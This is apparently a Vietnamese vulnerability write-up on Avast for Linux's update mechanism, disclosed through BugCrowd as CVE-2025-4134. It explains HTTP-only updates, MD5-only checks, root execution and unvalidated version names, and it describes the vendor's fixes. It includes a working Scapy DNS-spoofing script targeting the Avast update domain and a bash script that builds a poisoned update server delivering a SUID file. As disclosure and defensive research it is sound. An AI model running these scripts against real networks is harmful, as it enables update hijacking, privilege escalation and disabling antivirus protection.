Pwning Antivirus: Avast for Linux và lỗ hổng trong cơ chế cập nhật

Cơ chế cập nhật của Avast for Linux
1. Kiến trúc dữ liệu trên server
Avast Antivirus triển khai hệ thống cập nhật phân tán, kết hợp giữa cập nhật toàn phần (full update) và cập nhật vi sai (delta update), nhằm tối ưu hóa về mặt thời gian và lưu lượng mạng. Cụ thể:
File vps9.lat
đóng vai trò như một chỉ mục version toàn cục. Máy khách sử dụng file này để so sánh với version đang được cài đặt cục bộ nhằm xác định sự cần thiết của quá trình cập nhật.
Các file .inf
chứa thông tin về checksum, version cần cập nhật, và chỉ định sử dụng bản vá (.dif
) hoặc cập nhật toàn phần (.ful
).
Avast trên máy người dùng sử dụng thông tin từ server để tự động chọn hình thức cập nhật phù hợp.
Trong trường hợp không thể áp dụng patch hoặc gặp lỗi xác minh, hệ thống sẽ chuyển sang tải về .ful
, là gói database đầy đủ được nén.
Trong trường hợp cập nhật vi sai, Avast sẽ tải về .dif
, là patch nhị phân tạo từ sự khác biệt giữa các version. Thuật toán bdiff
được sử dụng để xử lý patch này.
2. Kiến trúc dữ liệu trên client
Thư mục cập nhật tại /var/lib/avast/Setup/filedir
nhằm lưu dữ liệu cập nhật từ server.
vps9.lat
: lưu version hiện tại của filevps9.raw
vps9.raw
: được sử dụng cho cập nhật vi phân. Đây là một file nén định dạng POSIX tar chứa signatures và engine.Thật vậy, chỉ cần đổi phần mở rộng
.raw
thành.tar
là có thể giải nén dữ liệu. Dữ liệu nhận được bao gồm thư viện, database của Avast.
Thư mục database tại /var/lib/avast/defs/
lưu dữ liệu database đã giải nén từ file .raw
và được Avast sử dụng cho engine.
File
aswdefs.ini
lưu version number của database hiện tại.Thư mục chứa database của Avast có tên là version number hiện tại.
Ngoài các dữ liệu signature và library của avast, trong thư mục database còn có 2 file là
list_d.txt
vàlist_i.txt
.2 file này là 2 file manifest lưu thông tin gồm danh sách các file được sử dụng bởi Avast, checksum của từng file.
Đoạn checksum này nhằm đảm bảo tính toàn vẹn của dữ liệu trong manifest, giúp tránh bị giả mạo.
3. Luồng logic cập nhật và điểm yếu
Avast sử dụng bash script /usr/lib/avast/vpsupdate
cho việc cập nhật. Script này sử dụng curl, md5sum để tải và xác minh file. Luồng logic cập nhật được tiến hành như sau:
Thực hiện cập nhật tại URL
https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/
. Đầu tiên, chương trình kiểm tra version mới nhất trên server qua filevps9.lat
. Sau đó, chương trình dựa vào một số điều kiện trên máy client để quyết định phương thức cập nhật.Tiến hành tải về và cập nhật database:
Trong trường hợp cần full update:
Tải file database
.ful
mới nhấtGiải nén file
.raw
(nằm trong file.ful
) vào thư mục template nằm trong/tmp/
.Kiểm tra MD5 của file
.raw
và giá trị MD5 trong file manifest. Nếu MD5 match, di chuyển file.raw
và.lat
vào trong/var/lib/avast/Setup/filedir/
Nếu dùng patch:
Tải một hoặc nhiều file
.dif
Sử dụng
bdiff
để patch file.raw
trong/var/lib/avast/Setup/filedir/
.Kiểm tra MD5 của file
.raw
mới patch và MD5 trong manifest. Nếu MD5 match thì tạo file.lat
mới.
Tạo thư mục chứa database với đường dẫn có dạng
/var/lib/avast/defs/<version_name>
. Toàn bộ dữ liệu trong file.raw
sẽ được giải nén và ghi vào thư mục mới tạo này.Restart Avast thông qua
/usr/lib/avast/submit --flush --quiet
Như vậy, ta có thể thấy điểm yếu trong logic này như sau:
Dùng giao thức HTTP cho quá trình cập nhật: Đây là một giao thức không được xác thực. Threat actor có thể sử dụng kỹ thuật DNS Spoofing khi ở cùng dải mạng để redirect quá trình cập nhật tới untrusted server.
Không verify các dữ liệu database: Trong bước 2 và 3, chỉ MD5 được sử dụng. Việc áp dụng dữ liệu từ database mới nhất trước khi verify các file (trong thư mục template) dẫn đến threat actor có thể ghi file bất kỳ vào trong thư mục database của Avast. Threat actor có thể ghi file SUID và corrupted database khiến hệ thống bảo vệ của Avast ngừng hoạt động.
Ngoài các điểm yếu đã liệt kê, do sự phức tạp của logic liên quan đến xử lý dữ liệu giữa server và client cũng như tương tác giữa dịch vụ update và tài nguyên hệ thống nên quá trình update còn có những điểm yếu khác. Tất cả những điểm yếu đó sẽ được phân tích cụ thể hơn.
Chi tiết điểm yếu, khai thác và bản vá
1. Tấn công DNS Spoofing vào giao thức HTTP
URL của server được lưu trong /etc/avast/vps.conf
. Mặc định, URL sử dụng giao thức HTTP:
Vì HTTP là một giao thức không được xác thực, threat actor có thể thực hiện tấn công ARP Spoofing và DNS Spoofing để chuyển hướng quá trình cập nhật sang một server do threat actor kiểm soát.
Đầu tiên, threat actor sử dụng công cụ arpspoof
để chuyển hướng gói tin tới phía threat actor, qua đó chặn yêu cầu phân giải DNS tạo điều kiện cho tấn công DNS Spoofing.
Tiếp theo, threat actor sử dụng script Python dưới đây để tấn công DNS Spoof
#!/usr/bin/env python3
from scapy.all import *
import sys
# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117" # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net" # Domain you want to spoof
spoofed_ip = "192.168.57.192" # Fake IP address to redirect the target to
def dns_spoof(packet):
# Filter for DNS response
if packet.haslayer(DNS) and packet[DNS].qr == 0: # DNS query (qr=0 means a query)
# Check if the query is for the domain we want to spoof
if spoofed_domain in str(packet[DNS].qd.qname):
print(f"[*] Spoofing DNS response for {spoofed_domain}")
# Craft the spoofed DNS response
spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))
# Send the spoofed DNS response
send(spoofed_response, verbose=0)
print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")
# Start sniffing traffic and call dns_spoof on each packet
try:
print("[*] Starting DNS spoofing attack...")
sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
print("\n[!] Attack interrupted. Exiting...")
sys.exit(0)
Output của script cho thấy yêu cầu phân giải DNS của victim đã bị giả mạo từ phía threat actor.
Như vậy, threat actor thao túng được luồng kết nối từ phía client. Bằng cách kết hợp 2 kiểu tấn công ARP Spoofing và DNS Spoofing, luồng kết nối sẽ redirect luồng dữ liệu tới máy chủ giả mạo do hacker kiểm soát.
Để sửa điểm yếu này, Avast đã sử dụng giá trị mặc định của URL là HTTPS.
2. Tấn công giả mạo dữ liệu update
Như đã phân tích ở trên, bước 2 và 3 của quá trình update không thực hiện kiểm tra tính xác thực và toàn vẹn. Như vậy, chỉ cần tạo được một file nén có kiến trúc hợp lệ, threat actor có thể giả mạo database và thao túng quá trình update. Các thay đổi có thể xảy ra bao gồm:
Tạo corrupted signatures khiến cho engine của Avast ngừng hoạt động.
Ghi file bất kỳ vào
/var/lib/avast/defs/<version>/
. Các file có thể là mã độc và là file SUID nhằm tạo điều kiện leo thang đặc quyền.
Để có thể exploit, threat actor thực hiện tạo dữ liệu update giả mạo như sau:
Tạo dữ liệu độc hại
Thực hiện tạo file nén
.ful
và tạo manifest của file.ful
Tạo manifest cho file
.raw
Tạo manifest chứa version update mới.
Toàn bộ quá trình trên có thể được automate lại bằng bash script như sau:
#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"
function rm_documentroot_files() {
rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}
function create_fake_update() {
mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
# create fake file of full update
echo $FAKE_DATA > hehe.txt
chmod 4755 hehe.txt
# Create zip file for .ful
tar -czf vps9${NEW_VERSION}.ful hehe.txt
# Create info file for metadata
## Get checksum from raw file
gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)
# Create metadata and update file
echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}
function create_lat_file() {
# Create lat file
echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}
function rm_tmp_file() {
# Remove template generated files
rm -f tmp.raw hehe.txt *.ful
}
rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file
Chạy script vừa rồi, threat actor đã tạo được dữ liệu giả mạo như trong hình dưới:
Bằng cách kết hợp với tấn công Man-In-The-Middle, quá trình update của chương trình vpsupdate
thực hiện cập nhật tại máy chủ do hacker tạo ra.
File độc hại do threat actor tạo ra được giữ nguyên quyền SUID khi được ghi xuống máy victim.
Ngoài ra, thư mục database thiếu các file cần thiết, hoặc chứa file bị corrupt sẽ khiến Avast không thể hoạt động.
Để sửa lỗi này, chương trình update sử dụng tính năng của binary /usr/bin/avast
để kiểm tra dữ liệu (được giải nén tại một thư mục template) trước khi áp dụng dữ liệu này cho chương trình.
Như vậy, chương trình sẽ kết thúc hoạt động khi phát hiện dữ liệu có vấn đề thay vì thay thế dữ liệu cũ bằng dữ liệu mới.
Có một điểm thú vị là trong quá trình phân tích patch diff, tôi phát hiện ra tính năng này đã tồn tại sẵn trên bản Avast cũ. Tuy nhiên, có thể do sơ suất của đội ngũ phát triển nên tính năng này không được sử dụng (cho đến khi họ nhận được báo cáo).
3. Quá trình cập nhật được thực thi dưới đặc quyền không cần thiết
Trong quá trình trao đổi với vendor, tôi đã nhận được thông tin rằng quá trình update của Avast được thực thi bởi avast
. Thực vậy, chương trình update được chạy dưới systemd timer dưới owner avast
.
Tuy nhiên, quá trình demo đã chạy script update thành công với quyền root
dẫn tới owner của database mới là root
.
Như vậy, nếu một quản trị viên thực hiện cập nhật cho Avast thông qua chạy lệnh thủ công, sẽ có 2 trường hợp xảy ra:
Quản trị viên đăng nhập bằng account
root
và thực hiện updateQuản trị viên đăng nhập bằng account trong group
sudoers
và sử dụngsudo
để update.
Nói cách khác, 2 trường hợp trên quản trị viên đều mắc sai lầm khi thực hiện update bằng quyền root
thay vì quyền của avast
(ví dụ sudo -u avast /usr/lib/avast/vpsupdate
). Điều này dẫn đến owner của database là root
dẫn tới các vấn đề sau:
Rất có khả năng Avast không thể cập nhật dữ liệu mới do systemd unit thực hiện cập nhập với owner là
avast
nên không thể overwrite file củaroot
.Nếu bị exploit trong lúc đang update thủ công, SUID file sẽ có ownership là
root
khiến mã độc chiếm được quyền cao nhất của hệ thống.
Để khắc phục điểm yếu này, Avast thực hiện kiểm tra onwer của tiến trình và chạy script dưới quyền thấp hơn.
Note: Điểm yếu này được phát hiện và fix bởi vendor. Phân tích chi tiết được thực hiện sau khi trao đổi thông tin với vendor vào ngày 30 tháng 4.
4. Không xác minh tính hợp lệ của version number
Như đã phân tích ở bước 3, quá trình cập nhật tạo đường dẫn /var/lib/avast/defs/<version_name>
và tiến hành ghi dữ liệu cập nhật vào đây. Giá trị version_name
được lấy từ file vps9.lat
mà không xác định tính hợp lệ của giá trị.
Như vậy, trên lý thuyết, threat actor có thể sử dụng điểm yếu này để exploit lỗ hổng path traversal kết hợp với các lỗ hổng khác đã được phân tích để ghi file vào vị trí khác trong hệ thống. Nếu ghi vào các vị trí nhạy cảm, mã độc có thể tự động thực thi qua crontab hoặc sau khi hệ thống reboot. Tuy nhiên, quá trình xử lý dữ liệu được tải về từ server có sử dụng biến PACKAGE
để tạo đường dẫn vào thư mục template. Điều này dẫn đến đường dẫn luôn có tiền tố vps9
. Các giá trị version đặc biệt nhằm khai thác path traversal sẽ tạo thành dạng ”vps9” + <path>
. Khi đó, hệ thống sẽ hiểu rằng giá trị relative path được đưa ra bao gồm thư mục vps9
không tồn tại. Vì vậy, chương trình sẽ gặp lỗi và dừng hoạt động.
Mặc dù điểm yếu này không thể exploit được, Avast vẫn tiến hành mitigate bằng cách kiểm tra giá trị của version. Giá trị hợp lệ là các ký tự số nguyên từ 0 đến 9.
Timeline
Q2/2023: Phát hiện attack surface
Tháng 8/2024: Thực hiện nghiên cứu và khai thác
27/9/2024: Gửi báo cáo lỗi tới Avast thông qua BugCrowd
17/4/2025: Phát hiện Avast v4.6 đã fix lỗi. Tiến hành liên hệ lại với đầu mối phía Avast.
30/4/2025: Avast xác nhận lỗi.
28/05/2025: Lỗi được công bố với mã CVE-2025-4134
Subscribe to my newsletter
Read articles from Nông Hoàng Tú directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
